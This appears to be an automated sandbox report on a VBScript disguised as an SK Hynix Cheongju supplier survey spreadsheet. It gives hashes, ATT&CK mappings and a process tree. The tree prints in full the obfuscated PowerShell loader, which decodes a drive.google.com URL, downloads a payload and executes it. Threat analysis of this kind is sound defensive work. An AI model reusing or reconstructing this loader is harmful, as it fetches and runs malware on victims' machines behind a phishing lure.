d024bcc2918a6ab37094245f9a9a914681b58a53470eae30ba848aff50ad24a1

General

Target

[SK하이닉스 청주] 2024년 하반기 협력사 예비조사표·xlsx.vbs
Size

34KB
MD5

e620cf121302720bcc2bced9953b5310
SHA1

08c5e4e7ade83aa1ca0e44602500c70c08e08fd0
SHA256

1823afc82141af0735636fd334827d13575a961d43177f0a07bff2277493a7db
SHA512

60d76df2e1973553cb18c382b2d25e7021665e0d99332120905379dd6a8ad6e9ecff49f48dda0217d5af770fa4720830ae19c7ae64b5dbeb8ea312d448da632c
SSDEEP

384:Z9vOg34bR4PQ7c1B2ZzjtuIUbeN7b14Jeg0RMj/yuBxwTtrcCLb0JvrbOYFFvUCs:Zp34KP8cAMSl4OMvLUtAqyOYjcU0

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2104	powershell.exe
7	2104	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2104	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
4	drive.google.com

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 2104	1668	WScript.exe	31
PID 1668 wrote to memory of 2104	1668	WScript.exe	31
PID 1668 wrote to memory of 2104	1668	WScript.exe	31
PID 2104 wrote to memory of 2648	2104	powershell.exe	33
PID 2104 wrote to memory of 2648	2104	powershell.exe	33
PID 2104 wrote to memory of 2648	2104	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\[SK하이닉스 청주] 2024년 하반기 협력사 예비조사표·xlsx.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sammensparende Reinstituted Olympiaden Verdensopinionens Afhndelsessummernes #>;$Telepolitiske235='Retskrivningsreformers';<#Drof Sorglsest beefaloes dirkende Blame Bredbaandssatellittens Bnfaldelse #>;$Eclats=$host.PrivateData;If ($Eclats) {$Kirkeklokke++;}function Frikirkers81($Jambernes){$Forgribelsers=$Jambernes.Length-$Kirkeklokke;for( $Berettigelsen=5;$Berettigelsen -lt $Forgribelsers;$Berettigelsen+=6){$Convolutional+=$Jambernes[$Berettigelsen];}$Convolutional;}function analcite($Pladsholderreferencers){ & ($Retrolental) ($Pladsholderreferencers);}$Spermic=Frikirkers81 'UnsinMCon ooA tomz achiiFlygtl LactlS udgaUds,l/,rkst5 Sinc. Vise0Barto Po ci(NymaaW mrreiAc.opnBas adsinusoUnbisw Beats Tuno ForbyNhalvaTSkri Osteo1Knigh0Bramb.Clatc0Mandr;K mpe NothoWPrisniDebennBootb6G,uti4Rans.; Risa Bi tixTradi6 Stor4Unres; Alau BalsarStyggv isco:Be,an1H,nge2Natio1Succi. inci0 dsc)Refra ClockG Rea eBouffcEnchakB.lluo B.nz/toolr2 Skjo0Disse1S,riv0Dupli0 Ecb.1Bedra0M dia1Unsub PrivaFUn uliDyk erSomereAf.gtffilmsoSe ifx Tilk/Krop.1Skokr2 Upar1Dalma.Unadd0Kvali ';$Linjefring=Frikirkers81 'Lum yUGrundsVideoEMultirTagr -DaghoABra hGArgutE ekstnfolket Popl ';$Rangsperson218=Frikirkers81 'UlstehSp,rotDemictMusikpTiljusUns.o:forbu/St kk/.emkrdIngenr Uan iLreb vBajoneklynk.Al axg BalmounaxioForb gCorallmisceeFlerv.ForefcS mmeo .darm Dark/Kreppu pndscMiden?BobeseKrydsxAmts,pju.ico Mordr Immut Akti=NavnedHje noF stlwBikernKapaclMili.oSubfoaDend dBonsa&Hus,ri m std Phy =e.tro1Hydr POphr M Pre K nddrQ PseuVMulti9La se4Desc.ICongeNBygniW ilieOHeter4MatriiCykelyPag bv ommeMAirw,aS rellDeb tcUn,xaNTndemE Hyp GNega 9 ResikFilmffRupi zencomXDrukthStrobdPurli7 ettcMossbhUn ti ';$Patined=Frikirkers81 'A.tmu>P inc ';$Retrolental=Frikirkers81 ' ToneIToejlEOutwaXMulti ';$jinsing='Skvisning';$Feltspecifikationsvinduets = Frikirkers81 'TermieAnimacFeldihThr to Muns sex i% Sarca Ph tpFumlepStikldO.skrauforut UnmoaArbej%Civil\R tniBB fale FornnTnkemhkeveliEssayn HypedFrskoeelder. M nuGtriviaBumlebUbero .udog&Se.ti&Nyska ljdeNonsicSmudsh Ka roInsal UforstSemia ';analcite (Frikirkers81 ' Doss$ CoungBaglylDint,oVartebIn,graCummelUnsig:UnderRPlaityDureegOver t Qin eKatalrW.ussnSikkee Se i=Kalve( SelfcsukkemRibbadH,lcy Preco/TheorcNysse Darv$fluctFulamae J,mblSkeentforgasCom ap ndaveOvermcd citi IonifPsychi Flatk FathaCraf,tTykkeiTel fosquinnOmkrysUnevavWa.oniPremonGri ldShagtu,agsve rgatt FilmsPadde) erle ');analcite (Frikirkers81 'Congo$Bart,gCurvelChilooTrellbHa beaSnurrlFun i:konomSBo ustree frUnconi fterd versDokumkSek asAphyleOsteonLimac=Outbl$IllacR FunkaSideknNotodgUnforsLeukopinforeAanderS dersGeitooScmsonRligh2Styre1Herna8 idam.KirkesAuktipUnti lFejlsiDisret,eaco(V vip$TartePHe lea HematNema i fsenn GedeeLectud,epeo)S gsb ');analcite (Frikirkers81 ' nonr[GammaNJourne adetEfter. ontoSKamg,eDete rRavenvcst aiCanancUnbeneCentrP pecio nowiDekorn TrkatVel eM uralaShophncurara SpargK lrte S mpr Besl]Hyrac:Untal:Stin S Dri eDiskucEpideu A.phrStorkiSlutttTryinyPhospPLi thrVeld,o Copet RelioThreacTestuoatelilInner Maane= Poly Baliz[Mi deNTempeeKidditTelef. SelvSThermeS bjuc BevruRabi,r orfiiiltf t.mpedyInterP Besvr,kskloFo,sktHaardoSomnocAsteroTeetolVowelTE triyTranspSegreeHonor]skrms: Emis:HeptoT egnslPaatasAlfad1 Lavt2Sttte ');$Rangsperson218=$Stridsksen[0];$kraftigst= (Frikirkers81 'Swapp$eglatgAlsidlJubeso epoB aggANe.leLS ste:conglN NatrA C.mbaG,ottlF.lesES udesascri= Sar NfallieC,verWOver.-salpiOPhth bEfterJShariEMen cc SkrutTr,ll PaleosOpsamyForans mictTDispoEOutstm Gge..CentrnDraweeSrgertTom e.IneffwVandoETjlesBLinenCLapwilCendriSwinbeFe tinBrnevT');$kraftigst+=$Rygterne[1];analcite ($kraftigst);analcite (Frikirkers81 'Optic$KontoNnacara PokkaMembelHermaeRaa ks Decn. Ube H R seeAvisuaUdlyddMa kee rmier Tarss knop[Alaba$IkrafLi.teli Bel nDenotjCorrie yndsfR.regrBybe iRooinnRulabgFirma]Dyrev= Prve$U hoaSReavipOssetephenor stramRedowiUnke cSp.en ');$Tenantship=Frikirkers81 'Tran $ DiskNGeoidaKaaluaTevarlS,roge Und,s Grun.Semi.DArgenoHarpsw CatanKordolcelleoKordnaL vitdCre mFGluttiSpt.elCopteeSk dc( Ke n$cruorRDo.piaFiskencoinhgIntersF rdepSkuereBroforOpregsFaunao OvernKontr2La.tl1 Comm8Ph ll,fy de$somm.E U rgl AccoiMen tgEchare dvir toreH rnfn ettodHensyeKh.nk) Hypo ';$Eligerende=$Rygterne[0];analcite (Frikirkers81 'Un it$DeorgGOttekl.eralO Unbibgoo naTrafiLHolib:HovedtQuercEDukkeASubaxsAuscuPDandioKandioOverinA atrFBewh UKontoLdatabS egem=me.er(JuggltDaginECalorSLgeerT cand-Oop yPRespiaSttt T ejlhHal,s .ylla$Kupere CapiLEndopichandgMan,hepilosRP ddlEBeskynFejltDHexpaE Tek,) Rewo ');while (!$Teaspoonfuls) {analcite (Frikirkers81 's,lum$ThrifgMartilforeboi nizbFasteablodplI.teg:SnappSUdlaauStinkbTromlbSter aFysiks Caus=Arai $Unblothalvbr eomfuT,mineAntje ') ;analcite $Tenantship;analcite (Frikirkers81 'OkkupS Bestt PessaStro.rBldagtTocca-D,magSHandelUndereSydafeBundrpAflnn Reale4Singl ');analcite (Frikirkers81 'Vol.t$GrsrogHousal,ydnioBeregbyowttaAtelilHarsh:o thoTCopyiePropiaStorbs,lthipVoldeotropho AlsinUrn hf liphuHjlpelFla,ksOpera=Chum.(ForprTInduke Hin sUrentt Mcen-CartiP Sympa Nonft Gub h nels skraa$Kolo ECrystl.narci Tur gAnn.meGlumar ExteeStrennAzonid CuboeSalu )Rkebi ') ;analcite (Frikirkers81 'Pisti$ Var.gHaa dlmedleoAr,ywbCit oa Blisl aci:TadpoNHemiha dhupTol.pr StenaSphinpVendiaStenbtL genhForsg=Unds,$TerragScenslLs.oloToparbChantaHernslNamet:DepopsFer onHea,to PalawPastosP egauSheepiBelaytjaundstur s+Proto+A.tru%Prec,$Tegu S ManitThirtr.ejeciF,rsadTandss rer k OversRingbeVur,enDoct..Un ercOmridoKommeuO ordnunfedt Ant, ') ;$Rangsperson218=$Stridsksen[$Naprapath];}$Wretchock=308440;$Moyer249=28198;analcite (Frikirkers81 'Wande$IntergUdsvelUnderoRfaerbAer.aaNoserlCandi:UnifoF Subgain,omtDggesaFngselP.obltJordf Fl m=Kvast AcariG urg.eblotlt reto-roed C,erneoUn ernG ardtCan ze nhednPoloit Svid Termi$Graf.EAc inlDistiiBlokkgElleneSluddrAlacreisafknCa dsdRegrae Opfe ');analcite (Frikirkers81 ' Weev$ nledgorderlSchweo Aktibrrlgna.triklMulch:re.akDOxidaeFetism NoumuCu marCoot,r svariHa den Ov rgGeder Strat=Album Frem [Ko reS Ud uyFolkesEnogttScraweProgrmUnw n.O proCTilbaoRuss nTumulvCreameAnt.sr Du ptguard]Geot,:uldga:OffscFReme r A.oso B,mbmFaldeBDica aFu,ktsCoulreSel,m6 Gius4NippeSsquawtMastorSkmtsi HandnValerg Selv(ineq $RendtF SvabaL,quit lougaBus hl Gr atA,dit)Forde ');analcite (Frikirkers81 'Defin$Piro g Heibl dminoSystebTactuaSatsblTvang:ImpugPLeaguoToothuT,kstcDislehFordreStrmpsNarko Dk of=Fi.na Overw[TappeSTea eyPodelslig itBr.ddePro emConve.Te arTSengeeAftesxPharmtForbr. euphERegnenLedelcJaboto nstdOmniniTermin Myelg dagl]skole:Fedts:AndenAA hesS AspaCUn isISi erI Circ.NondiGXerape p.ottGnidnSSukketUnmitr ecuribeskenBlkhugUnfur( lter$,ereaDData.eSymmemLsekruStallrDeve rThys iinternButikg ence)Lnfor ');analcite (Frikirkers81 'Roper$Ov,rsgHumphl,cleroAnke.bbrndsa Ambal mbra:staffPErhverC,romsAut mtHviskeUnd.rv rappiXyridePr fl=brand$PreexPStyggoPoulauAs.nec MonghDev teH,telsFork .PardasForunuOvergbhon rsop ost TimirUglifi GgesnSidesgBagde(Aand $Sacr WRovfurTsni,e P,pytOrthocoptaghTor eosamlecjugglkVold.,Edito$EnactMGalakoAandiySurrieAysovrBakni2weath4Loger9Umisk) Snee ');analcite $Prstevie;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Benhinde.Gab && echo t"
    3⤵
    PID:2648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2104-4-0x000007FEF615E000-0x000007FEF615F000-memory.dmp

Filesize
4KB

Download
memory/2104-6-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2104-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2104-7-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-8-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-9-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-10-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-11-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-14-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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